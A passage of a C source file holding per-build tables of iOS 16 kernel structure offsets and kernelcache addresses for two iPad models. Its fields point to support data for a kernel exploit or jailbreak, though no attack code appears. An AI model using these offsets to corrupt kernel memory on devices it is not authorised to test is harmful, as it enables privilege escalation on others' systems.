.kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.4.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E252\",\n          .device_id = \"iPad11,1\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          .kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.5\n          {\n          .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20F66\",\n          .device_id = \"iPad11,1\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2f1288,\n          .kernelcache__gPhysBase = 0xfffffff0078f80e0,\n          .kernelcache__gPhysSize = 0xfffffff0078f80e0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f62b8,\n          .kernelcache__perfmon_devices = 0xfffffff00a32f500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea9c8c,\n          .kernelcache__ptov_table = 0xfffffff0078ab160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a32e990,\n          .kernelcache__vm_pages = 0xfffffff0078a7ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078aa110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a32e988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef8ad8,\n      },\n\n      // iOS 16.6b1\n          {\n          .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n          .build_version = \"20G5026e\",\n          .device_id = \"iPad11,1\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a23dab0,\n          .kernelcache__gPhysBase = 0xfffffff0078dc288,\n          .kernelcache__gPhysSize = 0xfffffff0078dc288 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078da440,\n          .kernelcache__perfmon_devices = 0xfffffff00a27d530,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e7e434,\n          .kernelcache__ptov_table = 0xfffffff00788f9a0,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a27c910,\n          .kernelcache__vm_pages = 0xfffffff00788c0f8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff00788e950,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a27c908,\n          .kernelcache__vn_kqfilter = 0xfffffff007eccc44,\n      },\n\n\n  // iPad Mini 5th Gen //\n  // iOS 16.2\n      {\n          .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:15 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20C65\",\n          .device_id = \"iPad11,2\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a225178,\n          .kernelcache__gPhysBase = 0xfffffff00781bc60,\n          .kernelcache__gPhysSize = 0xfffffff00781bc60 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819e40,\n          .kernelcache__perfmon_devices = 0xfffffff00a260380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e873ac,\n          .kernelcache__ptov_table = 0xfffffff0077cf248,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a25f800,\n          .kernelcache__vm_pages = 0xfffffff0077cc080,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce208,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a25f7f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007ed9a44,\n      },\n\n      // iOS 16.3\n          {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D47\",\n          .device_id = \"iPad11,2\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.3.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20D67\",\n          .device_id = \"iPad11,2\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x538,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a22d178,\n          .kernelcache__gPhysBase = 0xfffffff00781bd48,\n          .kernelcache__gPhysSize = 0xfffffff00781bd48 + 8,\n          .kernelcache__gVirtBase = 0xfffffff007819f28,\n          .kernelcache__perfmon_devices = 0xfffffff00a268380,\n          .kernelcache__perfmon_dev_open = 0xfffffff007e8b398,\n          .kernelcache__ptov_table = 0xfffffff0077cf288,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a267800,\n          .kernelcache__vm_pages = 0xfffffff0077cc0c0,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077ce248,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2677f8,\n          .kernelcache__vn_kqfilter = 0xfffffff007edda20,\n      },\n\n      // iOS 16.4\n          {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E246\",\n          .device_id = \"iPad11,2\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 0x00,\n          .vm_map_entry__links__next = 0x08,\n          .vm_map_entry__links__start = 0x10,\n          .vm_map_entry__links__end = 0x18,\n          .vm_map_entry__store__entry__rbe_left = 0x20,\n          .vm_map_entry__store__entry__rbe_right = 0x28,\n          .vm_map_entry__store__entry__rbe_parent = 0x30,\n          .vnode__v_un__vu_specinfo = 0x78,\n          ._vm_map__hdr__links__prev = 0x00 + 0x8,\n          ._vm_map__hdr__links__next = 0x08 + 0x8,\n          ._vm_map__hdr__links__start = 0x10 + 0x8,\n          ._vm_map__hdr__links__end = 0x18 + 0x8,\n          ._vm_map__hdr__nentries = 0x30,\n          ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n          ._vm_map__pmap = 0x40,\n          ._vm_map__hint = 0x90 + 0x08,\n          ._vm_map__hole_hint = 0x90 + 0x10,\n          ._vm_map__holes_list = 0x90 + 0x18,\n          ._vm_map__object_size = 0xc0,\n          .kernelcache__kernel_base = 0xfffffff007004000,\n          .kernelcache__cdevsw = 0xfffffff00a2e9208,\n          .kernelcache__gPhysBase = 0xfffffff0078f3fa0,\n          .kernelcache__gPhysSize = 0xfffffff0078f3fa0 + 8,\n          .kernelcache__gVirtBase = 0xfffffff0078f2178,\n          .kernelcache__perfmon_devices = 0xfffffff00a327500,\n          .kernelcache__perfmon_dev_open = 0xfffffff007ea5a88,\n          .kernelcache__ptov_table = 0xfffffff0078a7160,\n          .kernelcache__vm_first_phys_ppnum = 0xfffffff00a326990,\n          .kernelcache__vm_pages = 0xfffffff0078a3ea8,\n          .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078a6110,\n          .kernelcache__vm_page_array_ending_addr = 0xfffffff00a326988,\n          .kernelcache__vn_kqfilter = 0xfffffff007ef463c,\n      },\n\n      // iOS 16.4.1\n              {\n          .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n          .build_version = \"20E252\",\n          .device_id = \"iPad11,2\",\n          .fileglob__fg_ops = 0x28,\n          .fileglob__fg_data = 0x40 - 8,\n          .fileops__fo_kqfilter = 0x30,\n          // .fileproc__fp_iocount = 0x0000,\n          // .fileproc__fp_vflags = 0x0004,\n          // .fileproc__fp_flags = 0x0008,\n          // .fileproc__fp_guard_attrs = 0x000a,\n          // .fileproc__fp_glob = 0x0010,\n          // .fileproc__fp_guard = 0x0018,\n          // .fileproc__object_size = 0x0020,\n          .fileproc_guard__fpg_guard = 0x8,\n          .kqworkloop__kqwl_state = 0x10,\n          .kqworkloop__kqwl_p = 0x18,\n          .kqworkloop__kqwl_owner = 0xd0,\n          .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n          .kqworkloop__object_size = 0x108,\n          .pmap__tte = 0x0,\n          .pmap__ttep = 0x8,\n          .proc__p_list__le_next = 0x0,\n          .proc__p_list__le_prev = 0x8,\n          .proc__p_pid = 0x60,\n          .proc__p_fd__fd_ofiles = 0xf8,\n          .proc__object_size = 0x730,\n          .pseminfo__psem_usecount = 0x04,\n          .pseminfo__psem_uid = 0x0c,\n          .pseminfo__psem_gid = 0x10,\n          .pseminfo__psem_name = 0x14,\n          .pseminfo__psem_semobject = 0x38,\n          // .psemnode__pinfo = 0x0000,\n          // .psemnode__padding = 0x0008,\n          // .psemnode__object_size = 0x0010,\n          .semaphore__owner = 0x28,\n          .specinfo__si_rdev = 0x18,\n          .task__map = 0x28,\n          .task__threads__next = 0x80 - 0x28,\n          .task__threads__prev = 0x80 - 0x28 + 8,\n          .task__itk_space = 0x300,\n          .task__object_size = 0x628,\n          .thread__task_threads__next = 0x368 - 0x18,\n          .thread__task_threads__prev = 0x368 - 0x18 + 8,\n          .thread__map = 0x368,\n          .thread__thread_id = 0x400,\n          .thread__object_size = 0x4a8,\n          .uthread__object_size = 0x200,\n          .vm_map_entry__links__prev = 